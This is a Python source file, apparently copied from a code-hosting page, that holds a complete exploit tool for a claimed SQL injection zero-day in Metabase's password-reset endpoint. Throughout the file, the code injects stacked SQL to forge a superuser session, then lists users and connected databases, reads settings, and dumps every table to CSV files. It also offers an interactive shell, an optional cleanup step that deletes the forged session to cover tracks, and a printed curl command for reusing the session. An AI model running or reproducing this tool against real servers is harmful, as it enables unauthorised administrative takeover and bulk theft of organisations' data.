462 lines
17 KiB
Python
462 lines
17 KiB
Python
#!/usr/bin/env python3
|
|
import argparse
|
|
import json
|
|
import sys
|
|
import time
|
|
import uuid
|
|
import urllib.request
|
|
import urllib.error
|
|
import csv
|
|
import os
|
|
from urllib.parse import urljoin
|
|
|
|
class MetabaseExploit:
|
|
def __init__(self, target, delay=4):
|
|
self.target = target.rstrip("/")
|
|
self.delay = delay
|
|
self.session_key = None
|
|
|
|
def _req(self, path, method="GET", body=None, session=None, timeout=30):
|
|
data = json.dumps(body, separators=(",", ":")).encode() if body else None
|
|
headers = {"Content-Type": "application/json"}
|
|
if session:
|
|
headers["X-Metabase-Session"] = session
|
|
req = urllib.request.Request(
|
|
urljoin(self.target, path), data=data, headers=headers, method=method
|
|
)
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
|
raw = resp.read()
|
|
return resp.status, json.loads(raw) if raw else {}
|
|
except urllib.error.HTTPError as exc:
|
|
raw = exc.read()
|
|
try:
|
|
return exc.code, json.loads(raw)
|
|
except json.JSONDecodeError:
|
|
return exc.code, {}
|
|
|
|
def _sqli(self, raw_sql, max_retries=3):
|
|
nonce = uuid.uuid4().hex[:6]
|
|
payload = {
|
|
"token": f"vwf4_{nonce}",
|
|
"password": "ComplexPass99!!",
|
|
"user-id": {"select": {"raw": raw_sql}},
|
|
}
|
|
b = {}
|
|
for attempt in range(max_retries):
|
|
if attempt > 0:
|
|
cooldown = 60
|
|
print(f" Rate limited, cooling down {cooldown}s (attempt {attempt+1}/{max_retries})...")
|
|
time.sleep(cooldown)
|
|
else:
|
|
time.sleep(self.delay)
|
|
s, b = self._req("/api/session/reset_password", method="POST", body=payload)
|
|
err = b.get("errors", {})
|
|
pwd_err = err.get("password", "")
|
|
if "Too ma" in pwd_err:
|
|
continue
|
|
specific = b.get("specific-errors", {})
|
|
if specific:
|
|
continue
|
|
print(f" Payload accepted (HTTP {s})")
|
|
return s, b
|
|
print(f" Failed after {max_retries} attempts — rate limit too strict")
|
|
return 400, b
|
|
|
|
def get_info(self):
|
|
s, b = self._req("/api/session/properties")
|
|
if s != 200:
|
|
return None
|
|
return {
|
|
"version": b.get("version", {}).get("tag", "unknown"),
|
|
"has_user_setup": b.get("has-user-setup"),
|
|
"setup_token": b.get("setup-token"),
|
|
"site_url": b.get("site-url"),
|
|
"site_name": b.get("site-name"),
|
|
"email_configured": b.get("email-configured?"),
|
|
"engines": list(b.get("engines", {}).keys()) if b.get("engines") else [],
|
|
"is_hosted": b.get("is-hosted?"),
|
|
}
|
|
|
|
def check_version(self):
|
|
s, b = self._req("/api/session/properties")
|
|
if s != 200:
|
|
return None
|
|
ver = b.get("version", {}).get("tag", "")
|
|
if not ver:
|
|
return None
|
|
ver = ver.lstrip("v")
|
|
parts = ver.split(".")
|
|
if len(parts) < 2:
|
|
return None
|
|
major, minor = int(parts[0]), int(parts[1])
|
|
patch = int(parts[2]) if len(parts) > 2 else 0
|
|
|
|
if major > 0 or (major == 0 and minor < 58):
|
|
return {"vulnerable": False, "version": ver, "reason": "version < 0.58 not affected"}
|
|
if major == 0:
|
|
if minor == 58 and patch < 24:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.58.24"}
|
|
if minor == 59 and patch < 21:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.59.21"}
|
|
if minor == 60 and patch < 17:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.60.17"}
|
|
if minor == 61 and patch < 11:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.61.11"}
|
|
if minor == 62 and patch < 9:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.62.9"}
|
|
if minor == 63 and patch < 5:
|
|
return {"vulnerable": True, "version": ver, "fixed": "0.63.5"}
|
|
if minor > 63:
|
|
return {"vulnerable": False, "version": ver, "reason": "version > 0.63 — may be patched"}
|
|
return {"vulnerable": True, "version": ver, "fixed": "upgrade required"}
|
|
|
|
def create_admin_session(self):
|
|
self.session_key = str(uuid.uuid4())
|
|
quoted = self.session_key.replace("'", "''")
|
|
raw = (
|
|
"-2147483648)); INSERT INTO core_session "
|
|
"(id, user_id, created_at, key_hashed) "
|
|
f"SELECT '{quoted}', id, NOW(), 'vwf4-exploit' "
|
|
"FROM core_user "
|
|
"WHERE is_superuser IS TRUE AND is_active IS TRUE "
|
|
"ORDER BY id LIMIT 1; -- "
|
|
) + uuid.uuid4().hex[:6]
|
|
|
|
self._sqli(raw)
|
|
time.sleep(2)
|
|
s, b = self._req("/api/user/current", session=self.session_key)
|
|
if s == 200 and b.get("is_superuser"):
|
|
return b
|
|
return None
|
|
|
|
def cleanup_session(self):
|
|
if not self.session_key:
|
|
return
|
|
quoted = self.session_key.replace("'", "''")
|
|
raw = (
|
|
f"-2147483648)); DELETE FROM core_session WHERE id = '{quoted}'; -- "
|
|
) + uuid.uuid4().hex[:6]
|
|
self._sqli(raw)
|
|
|
|
def list_databases(self):
|
|
s, b = self._req("/api/database", session=self.session_key)
|
|
if s != 200:
|
|
return []
|
|
return b.get("data", [])
|
|
|
|
def list_users(self):
|
|
s, b = self._req("/api/user", session=self.session_key)
|
|
if s != 200:
|
|
return []
|
|
return b.get("data", [])
|
|
|
|
def list_settings(self):
|
|
s, b = self._req("/api/setting", session=self.session_key)
|
|
if s != 200:
|
|
return []
|
|
return b
|
|
|
|
def run_query(self, database_id, sql):
|
|
s, b = self._req(
|
|
"/api/dataset",
|
|
method="POST",
|
|
session=self.session_key,
|
|
body={
|
|
"database": database_id,
|
|
"type": "native",
|
|
"native": {"query": sql},
|
|
"parameters": [],
|
|
},
|
|
)
|
|
if b.get("data"):
|
|
cols = [c["name"] for c in b["data"]["cols"]]
|
|
rows = b["data"]["rows"]
|
|
return {"cols": cols, "rows": rows, "count": len(rows)}
|
|
if s == 202:
|
|
return {"status": "processing"}
|
|
return {"error": b.get("error", "unknown error")}
|
|
|
|
def dump_tables(self, database_id, output_dir):
|
|
os.makedirs(output_dir, exist_ok=True)
|
|
result = self.run_query(
|
|
database_id,
|
|
"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC'",
|
|
)
|
|
if "rows" not in result:
|
|
return []
|
|
|
|
tables = [row[0] for row in result["rows"] if not row[0].startswith("_")]
|
|
dumped = []
|
|
|
|
for table in tables:
|
|
data = self.run_query(database_id, f"SELECT * FROM {table}")
|
|
if "rows" not in data:
|
|
continue
|
|
|
|
filepath = os.path.join(output_dir, f"{table}.csv")
|
|
with open(filepath, "w", newline="", encoding="utf-8") as f:
|
|
writer = csv.writer(f)
|
|
writer.writerow(data["cols"])
|
|
for row in data["rows"]:
|
|
writer.writerow(row)
|
|
|
|
dumped.append(
|
|
{
|
|
"table": table,
|
|
"rows": data["count"],
|
|
"columns": len(data["cols"]),
|
|
"file": filepath,
|
|
}
|
|
)
|
|
time.sleep(0.5)
|
|
|
|
return dumped
|
|
|
|
def app_db_query(self, sql):
|
|
table_name = f"VWF4_DUMP_{uuid.uuid4().hex[:8].upper()}"
|
|
raw = (
|
|
f"-2147483648)); CREATE TABLE {table_name} AS {sql}; -- "
|
|
) + uuid.uuid4().hex[:6]
|
|
self._sqli(raw)
|
|
return table_name
|
|
|
|
|
|
BANNER = """
|
|
╔══════════════════════════════════════════════════════════════╗
|
|
║ Metabase SQL Injection Zero-Day Exploit ║
|
|
║ GHSA-vwf4-m7j8-wcjf | CVSS 10.0 ║
|
|
║ ║
|
|
║ Author : ZSecurity / Linuxhackingid ║
|
|
║ Target : Metabase v0.58.0 - v0.62.8 ║
|
|
║ Vector : POST /api/session/reset_password ║
|
|
╚══════════════════════════════════════════════════════════════╝
|
|
"""
|
|
|
|
|
|
def mode_check(exp):
|
|
info = exp.get_info()
|
|
if not info:
|
|
print("[-] Target not reachable or not a Metabase instance")
|
|
sys.exit(1)
|
|
|
|
ver_check = exp.check_version()
|
|
print(f"\n[*] Metabase {info['version']}")
|
|
print(f"[*] Site URL: {info['site_url']}")
|
|
print(f"[*] Has setup: {info['has_user_setup']}")
|
|
print(f"[*] Email configured: {info['email_configured']}")
|
|
|
|
if ver_check and ver_check["vulnerable"]:
|
|
print(f"\n[+] VULNERABLE — fixed in {ver_check['fixed']}")
|
|
elif ver_check:
|
|
print(f"\n[-] NOT VULNERABLE — {ver_check.get('reason', 'patched')}")
|
|
else:
|
|
print("\n[?] Could not determine vulnerability status")
|
|
|
|
|
|
def mode_exploit(exp, interactive=False, dump=False, output=None, cleanup=False):
|
|
print("\n[*] Injecting admin session via stacked SQL injection...")
|
|
user = exp.create_admin_session()
|
|
|
|
if not user:
|
|
print("[-] Failed to create admin session")
|
|
sys.exit(1)
|
|
|
|
print(f"[+] ADMIN SESSION CREATED")
|
|
print(f"[+] Session Key : {exp.session_key}")
|
|
print(f"[+] User ID : {user.get('id')}")
|
|
print(f"[+] Email : {user.get('email')}")
|
|
print(f"[+] Name : {user.get('first_name')} {user.get('last_name')}")
|
|
print(f"[+] Superuser : {user.get('is_superuser')}")
|
|
|
|
dbs = exp.list_databases()
|
|
print(f"\n[*] Connected Databases: {len(dbs)}")
|
|
for db in dbs:
|
|
details = db.get("details", {})
|
|
host_info = ""
|
|
if details.get("host"):
|
|
host_info = f" @ {details['host']}:{details.get('port', '')}"
|
|
print(f" [{db['id']}] {db['name']} | {db['engine']}{host_info}")
|
|
if details.get("db"):
|
|
print(f" DB: {details['db']}")
|
|
|
|
users = exp.list_users()
|
|
print(f"\n[*] Metabase Users: {len(users)}")
|
|
for u in users:
|
|
groups = u.get("group_ids", [])
|
|
print(f" [{u['id']}] {u.get('email')} | {u.get('first_name')} {u.get('last_name')} | Super: {u.get('is_superuser')} | Groups: {groups}")
|
|
|
|
if dump and dbs:
|
|
out_dir = output or f"./metabase_dump_{uuid.uuid4().hex[:8]}"
|
|
print(f"\n[*] Dumping database tables to {out_dir}/ ...")
|
|
for db in dbs:
|
|
db_dir = os.path.join(out_dir, f"db_{db['id']}_{db['engine']}")
|
|
print(f" Dumping [{db['id']}] {db['name']}...")
|
|
dumped = exp.dump_tables(db["id"], db_dir)
|
|
total_rows = sum(d["rows"] for d in dumped)
|
|
print(f" → {len(dumped)} tables, {total_rows} rows saved")
|
|
print(f"\n[+] Dump complete: {out_dir}/")
|
|
|
|
if interactive:
|
|
mode_interactive(exp)
|
|
|
|
if cleanup:
|
|
print("\n[*] Cleaning up forged session...")
|
|
exp.cleanup_session()
|
|
print("[+] Session removed from application database")
|
|
|
|
print(f"\n[+] Manual access:")
|
|
print(f" curl -H 'X-Metabase-Session: {exp.session_key}' {exp.target}/api/user/current")
|
|
|
|
|
|
def mode_interactive(exp):
|
|
if not exp.session_key:
|
|
print("[-] No active session. Run exploit first.")
|
|
return
|
|
|
|
print(f"\n[*] Interactive Shell — session: {exp.session_key[:16]}...")
|
|
print(f"[*] Commands: dbs | users | query <sql> | get <path> | dump <dir> | quit")
|
|
|
|
while True:
|
|
try:
|
|
cmd = input("\nmetabase> ").strip()
|
|
except (EOFError, KeyboardInterrupt):
|
|
break
|
|
|
|
if not cmd:
|
|
continue
|
|
if cmd in ("quit", "exit", "q"):
|
|
break
|
|
|
|
if cmd == "dbs":
|
|
dbs = exp.list_databases()
|
|
for db in dbs:
|
|
print(f" [{db['id']}] {db['name']} | {db['engine']}")
|
|
continue
|
|
|
|
if cmd == "users":
|
|
users = exp.list_users()
|
|
for u in users:
|
|
print(f" [{u['id']}] {u['email']} | Super: {u.get('is_superuser')}")
|
|
continue
|
|
|
|
if cmd == "settings":
|
|
settings = exp.list_settings()
|
|
for s in settings:
|
|
if s.get("value") and s["value"] not in ("false", "true"):
|
|
print(f" {s['key']}: {str(s['value'])[:100]}")
|
|
continue
|
|
|
|
if cmd.startswith("query "):
|
|
parts = cmd.split(" ", 2)
|
|
if len(parts) < 3:
|
|
print(" Usage: query <db_id> <sql>")
|
|
continue
|
|
try:
|
|
db_id = int(parts[1])
|
|
sql = parts[2]
|
|
except ValueError:
|
|
print(" Invalid database ID")
|
|
continue
|
|
result = exp.run_query(db_id, sql)
|
|
if "rows" in result:
|
|
print(f" Columns: {result['cols']}")
|
|
print(f" Rows: {result['count']}")
|
|
for row in result["rows"][:20]:
|
|
print(f" {row}")
|
|
if result["count"] > 20:
|
|
print(f" ... {result['count'] - 20} more rows")
|
|
else:
|
|
print(f" Error: {result.get('error')}")
|
|
continue
|
|
|
|
if cmd.startswith("dump "):
|
|
parts = cmd.split(" ", 2)
|
|
out_dir = parts[1] if len(parts) > 1 else f"./metabase_dump_{uuid.uuid4().hex[:8]}"
|
|
db_id = int(parts[2]) if len(parts) > 2 else 1
|
|
print(f" Dumping DB {db_id} to {out_dir}/ ...")
|
|
dumped = exp.dump_tables(db_id, out_dir)
|
|
for d in dumped:
|
|
print(f" → {d['table']}: {d['rows']} rows → {d['file']}")
|
|
continue
|
|
|
|
if cmd.startswith("get "):
|
|
path = cmd[4:]
|
|
s, b = exp._req(path, session=exp.session_key)
|
|
if isinstance(b, dict):
|
|
print(json.dumps(b, indent=2)[:3000])
|
|
else:
|
|
print(str(b)[:3000])
|
|
continue
|
|
|
|
if cmd == "help":
|
|
print(" dbs — List connected databases")
|
|
print(" users — List Metabase users")
|
|
print(" settings — List configuration")
|
|
print(" query <id> <sql> — Run SQL query")
|
|
print(" dump <dir> [db_id] — Dump all tables to CSV")
|
|
print(" get <path> — Raw API request")
|
|
print(" quit — Exit")
|
|
continue
|
|
|
|
s, b = exp._req(cmd, session=exp.session_key)
|
|
if isinstance(b, dict):
|
|
print(json.dumps(b, indent=2)[:2000])
|
|
else:
|
|
print(str(b)[:2000])
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="Metabase SQL Injection Zero-Day Exploit — GHSA-vwf4-m7j8-wcjf",
|
|
epilog="ZSecurity / Linuxhackingid",
|
|
)
|
|
parser.add_argument("--target", "-t", required=True)
|
|
parser.add_argument("--check", "-c", action="store_true")
|
|
parser.add_argument("--exploit", "-e", action="store_true")
|
|
parser.add_argument("--interactive", "-i", action="store_true")
|
|
parser.add_argument("--dump", "-d", action="store_true")
|
|
parser.add_argument("--output", "-o")
|
|
parser.add_argument("--cleanup", action="store_true")
|
|
parser.add_argument("--delay", type=int, default=4)
|
|
parser.add_argument("--session", "-s", help="Use existing session key")
|
|
|
|
args = parser.parse_args()
|
|
|
|
print(BANNER)
|
|
|
|
exp = MetabaseExploit(args.target, args.delay)
|
|
|
|
if args.check:
|
|
mode_check(exp)
|
|
return
|
|
|
|
if args.session:
|
|
exp.session_key = args.session
|
|
s, b = exp._req("/api/user/current", session=exp.session_key)
|
|
if s == 200 and b.get("is_superuser"):
|
|
print(f"\n[+] Session valid — {b.get('email')} (Superuser: {b.get('is_superuser')})")
|
|
else:
|
|
print("\n[-] Session invalid or expired")
|
|
sys.exit(1)
|
|
|
|
if args.interactive:
|
|
mode_interactive(exp)
|
|
elif args.dump:
|
|
dbs = exp.list_databases()
|
|
out_dir = args.output or f"./metabase_dump_{uuid.uuid4().hex[:8]}"
|
|
for db in dbs:
|
|
db_dir = os.path.join(out_dir, f"db_{db['id']}_{db['engine']}")
|
|
print(f"\n[*] Dumping [{db['id']}] {db['name']} to {db_dir}/ ...")
|
|
dumped = exp.dump_tables(db["id"], db_dir)
|
|
total_rows = sum(d["rows"] for d in dumped)
|
|
print(f" → {len(dumped)} tables, {total_rows} rows")
|
|
print(f"\n[+] Complete: {out_dir}/")
|
|
return
|
|
|
|
mode_exploit(exp, interactive=args.interactive, dump=args.dump, output=args.output, cleanup=args.cleanup)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|